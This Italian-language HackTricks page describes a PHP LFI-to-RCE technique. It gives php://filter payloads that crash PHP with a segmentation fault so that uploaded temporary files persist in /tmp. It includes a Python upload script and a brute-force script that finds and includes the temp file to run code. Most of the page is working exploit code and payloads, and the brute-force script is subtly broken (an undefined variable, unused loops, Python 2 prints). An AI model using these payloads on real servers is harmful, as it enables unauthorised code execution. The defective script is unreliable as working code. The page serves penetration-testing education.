2.2 KiB
LFI2RCE tramite Segmentation Fault
{{#include ../../banners/hacktricks-training.md}}
Secondo i writeup https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (seconda parte) e https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, i seguenti payload hanno causato un segmentation fault in PHP:
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
Dovresti sapere che se invi una richiesta POST contenente un file, PHP creerà un file temporaneo in /tmp/php<qualcosa> con il contenuto di quel file. Questo file sarà automaticamente eliminato una volta che la richiesta è stata elaborata.
Se trovi un LFI e riesci a attivare un errore di segmentazione in PHP, il file temporaneo non verrà mai eliminato. Pertanto, puoi cercarlo con la vulnerabilità LFI finché non lo trovi ed eseguire codice arbitrario.
Puoi utilizzare l'immagine docker https://hub.docker.com/r/easyengine/php7.0 per i test.
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)
# Search for the file (improve this with threads)
import requests
import string
import threading
charset = string.ascii_letters + string.digits
host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
if __name__ == "__main__":
main()
{{#include ../../banners/hacktricks-training.md}}